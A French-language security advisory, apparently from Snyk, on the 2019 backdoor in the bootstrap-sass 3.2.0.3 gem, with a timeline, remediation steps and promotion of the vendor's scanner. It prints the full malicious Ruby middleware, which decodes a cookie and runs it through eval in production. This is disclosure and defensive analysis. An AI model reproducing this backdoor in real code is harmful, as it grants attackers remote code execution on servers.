Une porte dérobée malveillante permettant l’exécution de code à distance découverte dans la célèbre gem Ruby bootstrap-sass

Le 26 mars 2019, une version malveillante du célèbre package bootstrap-sass, téléchargé au total 28 millions de fois à ce jour, a été publiée sur le dépôt officiel RubyGems. La version 3.2.0.3 contient une porte dérobée furtive qui permet aux attaquants d’exécuter des commandes à distance sur les applications Rails côté serveur.

Nous avons déjà ajouté la vulnérabilité à notre base de données. Si Snyk surveille votre projet et que votre application contient le package malveillant, vous avez déjà reçu nos alertes habituelles. Si ce n’est pas le cas, effectuez gratuitement un test pour vérifier si votre application est concernée en analysant votre dépôt de code avec Snyk.

Si vous constatez que votre application Rails utilise le projet vulnérable, agissez immédiatement : remplacez la version vulnérable 3.2.0.3 par la version 3.2.0.4 republiée. Cette première mesure d’atténuation ne nécessite pas de mise à niveau majeure.

Le même jour, Derek Barnes a ouvert un ticket GitHub dans le dépôt twbs/bootstrap-sass pour signaler un problème lié à la version malveillante et attirer l’attention sur un extrait de code suspect inclus dans la version 3.2.0.3 de bootstrap-sass.

La porte dérobée était habilement dissimulée dans la version 3.2.0.3, publiée uniquement sur RubyGems. Aucune source de cette version malveillante n’était présente sur le dépôt GitHub. Elle permettait à des attaquants distants d’exécuter du code dynamiquement sur les serveurs hébergeant les versions vulnérables.

Le package bootstrap-sass est très populaire et cette porte dérobée malveillante pourrait toucher un grand nombre d’utilisateurs. Le dépôt GitHub du package a obtenu plus de 12 000 étoiles et totalise plus de 27 millions de téléchargements. La version actuelle, 3.4.1, compte plus de 217 000 téléchargements.

Une analyse rapide révèle qu’environ 1 670 dépôts GitHub pourraient avoir été exposés à la bibliothèque malveillante par une utilisation directe. Ce nombre augmentera considérablement si l’on tient compte de son utilisation dans des applications comme dépendance transitive.

Récapitulatif de la chronologie de l’attaque

• La version 3.2.0.2 a été retirée du registre RubyGems. L’archive tar reste donc accessible directement via le dépôt RubyGems, mais elle n’est pas visible par le gestionnaire de packages. D’après nos informations, cette version n’est pas malveillante et a été retirée par les auteurs de l’attaque pour inciter les utilisateurs à passer à la version 3.2.0.3, publiée ensuite.

• Le 26 mars, les auteurs de l’attaque ont publié la version 3.2.0.3. Celle-ci dissimule une porte dérobée dans un nouveau fichier, lib/active-controller/middleware.rb. La porte dérobée exploite un autre module Ruby et le modifie afin que certains cookies envoyés par le client soient décodés en Base64, puis évalués à l’exécution, permettant ainsi l’exécution de code à distance.

• La version malveillante 3.2.0.3 correspond à la somme de contrôle SHA256 366d6162fe36fc81dadc114558b43c6c8890c8bcc7e90e2949ae6344d0785dc0.

• Nous supposons que l’attaquant a obtenu les identifiants de publication du package RubyGems malveillant auprès de l’un des deux mainteneurs, mais cela n’a pas été confirmé officiellement.

• Le 26 mars à 22 h 59 GMT, Derek Barnes a ouvert un ticket dans le dépôt public pour informer les mainteneurs et l’ensemble de la communauté de ses soupçons concernant le code de la version 3.2.0.3.

• Le 26 mars à 23 h 56 GMT, une heure plus tard, la version malveillante a été retirée du dépôt RubyGems et les mainteneurs ont confirmé avoir mis à jour leurs identifiants.

• Les versions 3.2.0.2 et 3.2.0.3 ayant toutes deux été retirées, les utilisateurs ont dû passer à d’autres versions, comme la 3.4.1, conformément aux recommandations des mainteneurs du projet.

• Aujourd’hui, le 3 avril 2019 à 16 h 10 GMT, les mainteneurs du projet ont publié une nouvelle version, la 3.2.0.4, identique à la version 3.2.0.2 retirée, afin de permettre aux utilisateurs de passer facilement à une version sûre sans devoir effectuer une mise à niveau majeure.

Mise à jour du 4 avril 2019 à 16 h 46 : la version vulnérable 3.2.0.2 a été retirée par erreur et est restée accessible dans le registre RubyGems via des miroirs pendant plusieurs jours. Il a désormais été signalé qu’elle est complètement indisponible.

Comprendre la vulnérabilité

Pour mieux comprendre la porte dérobée malveillante, il faut savoir quelle place occupe le package bootstrap-sass dans le développement d’une application web Ruby.

bootstrap-sass est un projet officiel issu du projet parent Twitter Bootstrap. Il fournit une version de Bootstrap 3 basée sur SASS. SASS est un outil qui permet aux ingénieurs frontend d’écrire des fichiers CSS avec un niveau d’abstraction supérieur grâce à des fonctionnalités telles que les mixins, les variables et les instructions conditionnelles.

Les outils SASS concernent principalement les ressources frontend et sont généralement utilisés lors d’une étape de compilation frontend qui génère des ressources statiques, ensuite servies par des serveurs web statiques. Toutefois, pour les applications Ruby on Rails qui servent à la fois le code backend et frontend, le projet bootstrap-sass fournit des liaisons Ruby utilisées par le framework.

Pour utiliser la bibliothèque bootstrap-sass, une application Rails déclare cette dépendance et met à jour les imports CSS concernés afin d’inclure bootstrap-sass lors de la compilation des fichiers CSS à l’exécution.

Lorsqu’on importe bootstrap-sass, le code de middleware malveillant suivant, situé dans lib/active-controller/middleware.rb, est également importé :

1begin
2 require 'rack/sendfile'
3 if Rails.env.production?
4   Rack::Sendfile.tap do |r|
5     r.send :alias_method, :c, :call
6     r.send(:define_method, :call) do |e|
7       begin
8         x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
9         eval(x) if x
10       rescue Exception
11       end
12       c(e)
13     end
14   end
15 end
16rescue Exception
17 nil
18end

En résumé, la porte dérobée :

• import rack/sendfile

• si l’application Rails s’exécute en environnement de production, modifie la méthode call

• La modification de la méthode call remplace son comportement d’origine : elle lit un cookie HTTP nommé ___cfduid, envoyé par le client, le décode en Base64, puis évalue le code dynamique à l’exécution. Après avoir exécuté ce code, elle appelle la méthode call d’origine.

Que dois-je faire ?

Si Snyk surveille votre projet et que votre application contient ce package malveillant, vous avez déjà reçu les alertes habituelles de Snyk.

Si vous ne surveillez pas vos projets avec Snyk, vous pouvez lancer un test ponctuel de votre projet open source en cliquant ici pour tester vos dépôts, ou utiliser notre CLI pour tester vos projets localement.

Je suis concerné : que dois-je faire ?

Si vous découvrez que votre application Rails utilise le projet vulnérable, prenez immédiatement des mesures pour remplacer la version vulnérable actuelle, 3.2.0.3, par la version 3.2.0.4 republiée. Cette première mesure d’atténuation ne nécessite pas de mise à niveau majeure.

Nous vous encourageons à connecter vos dépôts à Snyk afin de surveiller toute activité malveillante à l’avenir et de détecter les autres vulnérabilités susceptibles de se trouver dans votre application.